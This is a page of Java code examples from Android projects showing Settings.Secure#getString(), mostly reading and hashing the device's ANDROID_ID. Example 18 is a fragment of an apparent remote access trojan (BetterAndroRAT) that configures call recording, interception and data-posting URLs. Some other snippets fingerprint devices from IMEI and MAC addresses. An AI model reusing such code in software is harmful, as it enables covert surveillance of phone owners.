Java Code Examples for android.provider.Settings.Secure#getString()

The following examples show how to use android.provider.Settings.Secure#getString() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.

Example 1

Source File: WidgetProvider.java From PressureNet with GNU General Public License v3.0

6 votes

/**
 * Get a unique ID by fetching the phone ID and hashing it
 * 
 * @return
 */
private String getID() {
	try {
		MessageDigest md = MessageDigest.getInstance("MD5");

		String actual_id = Secure.getString(mContext
				.getContentResolver(), Secure.ANDROID_ID);
		byte[] bytes = actual_id.getBytes();
		byte[] digest = md.digest(bytes);
		StringBuffer hexString = new StringBuffer();
		for (int i = 0; i < digest.length; i++) {
			hexString.append(Integer.toHexString(0xFF & digest[i]));
		}
		return hexString.toString();
	} catch (Exception e) {
		return "--";
	}
}

Example 2

Source File: CbBatchSender.java From PressureNet-SDK with MIT License

6 votes

/**
 * Get a hash'd device ID
 * 
 * @return
 */
public String getID() {
	try {
		MessageDigest md = MessageDigest.getInstance("MD5");

		String actual_id = Secure.getString(context
				.getContentResolver(), Secure.ANDROID_ID);
		byte[] bytes = actual_id.getBytes();
		byte[] digest = md.digest(bytes);
		StringBuffer hexString = new StringBuffer();
		for (int i = 0; i < digest.length; i++) {
			hexString.append(Integer.toHexString(0xFF & digest[i]));
		}
		return hexString.toString();
	} catch (Exception e) {
		return "--";
	}
}

Example 3

Source File: BarometerNetworkActivity.java From PressureNet with GNU General Public License v3.0

6 votes

/**
 * Get a unique ID by fetching the phone ID and hashing it
 * 
 * @return
 */
private String getID() {
	try {
		MessageDigest md = MessageDigest.getInstance("MD5");

		String actual_id = Secure.getString(getApplicationContext()
				.getContentResolver(), Secure.ANDROID_ID);
		byte[] bytes = actual_id.getBytes();
		byte[] digest = md.digest(bytes);
		StringBuffer hexString = new StringBuffer();
		for (int i = 0; i < digest.length; i++) {
			hexString.append(Integer.toHexString(0xFF & digest[i]));
		}
		return hexString.toString();
	} catch (Exception e) {
		return "--";
	}
}

Example 4

Source File: Identity.java From Android-Commons with Apache License 2.0

6 votes

/**
 * Returns an identifier that is unique for this device
 *
 * The identifier is usually reset when performing a factory reset on the device
 *
 * On devices with multi-user capabilities, each user usually has their own identifier
 *
 * In general, you may not use this identifier for advertising purposes
 *
 * @param context a context reference
 * @return the unique identifier
 */
@SuppressLint("NewApi")
public static String getDeviceId(final Context context) {
	if (mDeviceId == null) {
		final String androidId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID);

		if (androidId != null && !androidId.equals("") && !androidId.equalsIgnoreCase("9774d56d682e549c")) {
			mDeviceId = androidId;
		}
		else {
			if (Build.VERSION.SDK_INT >= 9) {
				if (Build.SERIAL != null && !Build.SERIAL.equals("")) {
					mDeviceId = Build.SERIAL;
				}
				else {
					mDeviceId = getInstallationId(context);
				}
			}
			else {
				mDeviceId = getInstallationId(context);
			}
		}
	}

	return mDeviceId;
}

Example 5

Source File: BarometerNetworkActivity.java From PressureNet with GNU General Public License v3.0

6 votes

/**
 * Set a unique identifier so that updates from the same user are seen as
 * updates and not new data.
 */
private void setId() {
	try {
		MessageDigest md = MessageDigest.getInstance("MD5");

		String actual_id = Secure.getString(getApplicationContext()
				.getContentResolver(), Secure.ANDROID_ID);
		byte[] bytes = actual_id.getBytes();
		byte[] digest = md.digest(bytes);
		StringBuffer hexString = new StringBuffer();
		for (int i = 0; i < digest.length; i++) {
			hexString.append(Integer.toHexString(0xFF & digest[i]));
		}
		android_id = hexString.toString();
	} catch (Exception e) {
		// e.printStackTrace();
	}
}

Example 6

Source File: DeviceUuidFactory.java From apigee-android-sdk with Apache License 2.0

5 votes

private UUID generateDeviceUuid(Context context) {

		// Get some of the hardware information
		String buildParams = Build.BOARD + Build.BRAND + Build.CPU_ABI
				+ Build.DEVICE + Build.DISPLAY + Build.FINGERPRINT + Build.HOST
				+ Build.ID + Build.MANUFACTURER + Build.MODEL + Build.PRODUCT
				+ Build.TAGS + Build.TYPE + Build.USER;

		// Requires READ_PHONE_STATE
		TelephonyManager tm = (TelephonyManager) context
				.getSystemService(Context.TELEPHONY_SERVICE);

		// gets the imei (GSM) or MEID/ESN (CDMA)
		String imei = tm.getDeviceId();

		// gets the android-assigned id
		String androidId = Secure.getString(context.getContentResolver(),
				Secure.ANDROID_ID);

		// requires ACCESS_WIFI_STATE
		WifiManager wm = (WifiManager) context
				.getSystemService(Context.WIFI_SERVICE);

		// gets the MAC address
		String mac = wm.getConnectionInfo().getMacAddress();

		// if we've got nothing, return a random UUID
		if (isEmpty(imei) && isEmpty(androidId) && isEmpty(mac)) {
			return UUID.randomUUID();
		}

		// concatenate the string
		String fullHash = buildParams.toString() + imei + androidId + mac;

		return UUID.nameUUIDFromBytes(fullHash.getBytes());
	}

Example 7

Source File: OpenUDID_manager.java From Cangol-appcore with Apache License 2.0

5 votes

private void generateOpenUDID() {
if (LOG) Log.d(TAG, "Generating openUDID");
//Try to get the ANDROID_ID
OpenUDID = Secure.getString(mContext.getContentResolver(), Secure.ANDROID_ID); 
if (OpenUDID == null || OpenUDID.equals("9774d56d682e549c") || OpenUDID.length() < 15 ) {
	//if ANDROID_ID is null, or it's equals to the GalaxyTab generic ANDROID_ID or bad, generates a new one
	final SecureRandom random = new SecureRandom();
	OpenUDID = new BigInteger(64, random).toString(16);
}
  }

Example 8

Source File: Util.java From Leanplum-Android-SDK with Apache License 2.0

5 votes

private static String getAndroidId(Context context) {
  @SuppressLint("HardwareIds")
  String androidId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID);
  if (androidId == null || androidId.isEmpty()) {
    Log.i("Skipping Android device id; no id returned.");
    return null;
  }
  if (Constants.INVALID_ANDROID_ID.equals(androidId)) {
    Log.v("Skipping Android device id; got invalid " + "device id: " + androidId);
    return null;
  }
  Log.v("Using Android device id: " + androidId);
  return checkDeviceId("android id", androidId);
}

Example 9

Source File: Utility.java From Abelana-Android with Apache License 2.0

5 votes

public static String getHashedDeviceAndAppID(Context context, String applicationId) {
    String androidId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID);

    if (androidId == null) {
        return null;
    } else {
        return sha1hash(androidId + applicationId);
    }
}

Example 10

Source File: SecurePreferencesOld.java From FimiX8-RE with MIT License

5 votes

private static String getDeviceSerialNumber(Context context) {
    try {
        String deviceSerial = (String) Build.class.getField("SERIAL").get(null);
        if (TextUtils.isEmpty(deviceSerial)) {
            return Secure.getString(context.getContentResolver(), "android_id");
        }
        return deviceSerial;
    } catch (Exception e) {
        return Secure.getString(context.getContentResolver(), "android_id");
    }
}

Example 11

Source File: DeviceInfo.java From product-emm with Apache License 2.0

5 votes

/**
 * Returns the IMEI Number.
 * @return - Device IMEI number.
 */
public String getDeviceId() {

	String deviceId = null;

	if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
		deviceId = telephonyManager.getDeviceId();
	}

	if (deviceId == null || deviceId.isEmpty()) {
		deviceId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID);
	}
	
	return deviceId;
}

Example 12

Source File: Utility.java From barterli_android with Apache License 2.0

5 votes

public static String getHashedDeviceAndAppID(Context context, String applicationId) {
    String androidId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID);

    if (androidId == null) {
        return null;
    } else {
        return sha1hash(androidId + applicationId);
    }
}

Example 13

Source File: DeviceInfo.java From product-emm with Apache License 2.0

5 votes

/**
 * Returns the IMEI Number.
 * @return - Device IMEI number.
 */
public String getDeviceId() {	
	String deviceId = telephonyManager.getDeviceId();
	
	if (deviceId == null || deviceId.isEmpty()) {
		deviceId = Secure.getString(context.getContentResolver(), Secure.ANDROID_ID);
	}
	
	return deviceId;
}

Example 14

Source File: HWUtils.java From RePlugin-GameSdk with Apache License 2.0

4 votes

public static String getAndroidId(Context context) {
	String aid=Secure
			.getString(context.getContentResolver(), Secure.ANDROID_ID);
	return null==aid||0==aid.length()?"":aid;
}

Example 15

Source File: IdSampleFragment.java From genymotion-binocle with Apache License 2.0

4 votes

private void doDecode(){
    try {
        // Set up secret key spec for 128-bit AES decryption
        String androidId = Secure.getString(getActivity().getContentResolver(), Secure.ANDROID_ID);
        SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
        KeySpec spec = new PBEKeySpec(androidId.toCharArray(), salt, 45, 128);
        SecretKeySpec sks = new SecretKeySpec(factory.generateSecret(spec).getEncoded(), "AES");

        // Create AES cipher
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.DECRYPT_MODE, sks);

        // This stream read the encrypted text.
        FileInputStream fis = getActivity().openFileInput(FILE_NAME);

        // Wrap the input stream
        CipherInputStream cis = new CipherInputStream(fis, cipher);

        // Read and decrypt file
        int size = SECRET_MESSAGE.getBytes(UTF8_CHARSET).length;
        byte[] message = new byte[size];
        int pos = 0;
        int read;
        do {
            read = cis.read(message, pos, size);
            pos += read;
            size -= read;
        } while (read > 0);
        String secret = new String(message, UTF8_CHARSET);
        String label = getActivity().getResources().getString(R.string.decoding_done, secret);
        tvAndroidId.setText(label);

    } catch (NoSuchPaddingException
    | NoSuchAlgorithmException
    | IOException
    | InvalidKeyException
    | InvalidKeySpecException e) {
        Log.e(TAG, "Unable to decrypt secret", e);
        tvAndroidId.setText(R.string.decoding_failed);
    }
}

Example 16

Source File: DeviceUuidFactory.java From Pushjet-Android with BSD 2-Clause "Simplified" License

4 votes

public DeviceUuidFactory(Context context) {
    if (uuid == null) {
        synchronized (DeviceUuidFactory.class) {
            if (uuid == null) {
                final SharedPreferences prefs = context
                        .getSharedPreferences(PREFS_FILE, 0);
                final String id = prefs.getString(PREFS_DEVICE_ID, null);
                if (id != null) {
                    // Use the ids previously computed and stored in the
                    // prefs file
                    uuid = UUID.fromString(id);
                } else {
                    final String androidId = Secure.getString(
                            context.getContentResolver(), Secure.ANDROID_ID);
                    // Use the Android ID unless it's broken, in which case
                    // fallback on deviceId,
                    // unless it's not available, then fallback on a random
                    // number which we store to a prefs file
                    try {
                        if (!"9774d56d682e549c".equals(androidId)) {
                            uuid = UUID.nameUUIDFromBytes(androidId
                                    .getBytes("utf8"));
                        } else {
                            final String deviceId = (
                                    (TelephonyManager) context
                                            .getSystemService(Context.TELEPHONY_SERVICE))
                                    .getDeviceId();
                            uuid = deviceId != null ? UUID
                                    .nameUUIDFromBytes(deviceId
                                            .getBytes("utf8")) : UUID
                                    .randomUUID();
                        }
                    } catch (UnsupportedEncodingException e) {
                        throw new RuntimeException(e);
                    }
                    // Write the value out to the prefs file
                    SharedPreferences.Editor editor = prefs.edit();
                    editor.putString(PREFS_DEVICE_ID, uuid.toString());
                    editor.apply();
                }
            }
        }
    }
}

Example 17

Source File: DeviceUuidFactory.java From apigee-android-sdk with Apache License 2.0

4 votes

public DeviceUuidFactory(Context context) {

		if (uuid == null) {
			synchronized (DeviceUuidFactory.class) {
				if (uuid == null) {
					final SharedPreferences prefs = context
							.getSharedPreferences(PREFS_FILE, 0);
					final String id = prefs.getString(PREFS_DEVICE_ID, null);

					if (id != null) {
						// Use the ids previously computed and stored in the
						// prefs file
						uuid = UUID.fromString(id);

					} else {

						final String androidId = Secure
								.getString(context.getContentResolver(),
										Secure.ANDROID_ID);

						// Use the Android ID unless it's broken, in which case
						// fallback on deviceId,
						// unless it's not available, then fallback on a random
						// number which we store
						// to a prefs file
						try {
							if (!"9774d56d682e549c".equals(androidId)) {
								uuid = UUID.nameUUIDFromBytes(androidId
										.getBytes("utf8"));
							} else {
								final String deviceId = ((TelephonyManager) context
										.getSystemService(Context.TELEPHONY_SERVICE))
										.getDeviceId();
								uuid = deviceId != null ? UUID
										.nameUUIDFromBytes(deviceId
												.getBytes("utf8"))
										: generateDeviceUuid(context);
							}
						} catch (UnsupportedEncodingException e) {
							throw new RuntimeException(e);
						}

						// Write the value out to the prefs file
						prefs.edit()
								.putString(PREFS_DEVICE_ID, uuid.toString())
								.commit();

					}

				}
			}
		}

	}

Example 18

Source File: MyService.java From BetterAndroRAT with GNU General Public License v3.0

4 votes

@Override
	public void onStart(Intent intent, int startId) {
//		Notification note= new Notification(0, "Service Started", System.currentTimeMillis());
//		startForeground(startId, note); Create Icon in Notification Bar - Keep Commented
		super.onStart(intent, startId);
       	Log.i("com.connect", "Start MyService");

//    	StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
//    	StrictMode.setThreadPolicy(policy); 
        androidId = Secure.getString(getApplicationContext().getContentResolver(), Secure.ANDROID_ID); 

    	if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getInt("Timeout", 0)<1)
    	{
        	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putInt("Timeout", timeout).commit();
    	}
    	if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getBoolean("RecordCalls", false)!=false || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getBoolean("RecordCalls", false)!=true)
    	{
        	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("RecordCalls", recordCalls).commit();
    	}
    	if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getBoolean("intercept", false)!=false || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getBoolean("intercept", false)!=true)
    	{
			PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("intercept", intercept).commit();
    	}
    	if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "")==null || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "").equals(""))
    	{
        	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("AndroidID", androidId).commit();
    	}
    	if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "")==null || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "").equals(""))
    	{
        	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("File", Environment.getExternalStorageDirectory().toString() + File.separator + "System").commit();
    	}
    	if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "")==null || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "").equals(""))
    	{
        	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("urlPost", urlPostInfo).commit();
    	}
    	if(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("backupURL", "")==null || PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("backupURL", "").equals(""))
    	{
        	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("backupURL", backupURL).commit();
    	}
        //********************************************************************************************************************************************************
    	threadPre.start();
        //********************************************************************************************************************************************************
   	}

Example 19

Source File: CommonUtils.java From letv with Apache License 2.0

4 votes

public static boolean isEmulator(Context context) {
    return SDK.equals(Build.PRODUCT) || GOOGLE_SDK.equals(Build.PRODUCT) || Secure.getString(context.getContentResolver(), "android_id") == null;
}

Example 20

Source File: CaptioningManager.java From android_9.0.0_r45 with Apache License 2.0

2 votes

/**
 * @return the raw locale string for the user's preferred captioning
 *         language
 * @hide
 */
@Nullable
public final String getRawLocale() {
    return Secure.getString(mContentResolver, Secure.ACCESSIBILITY_CAPTIONING_LOCALE);
}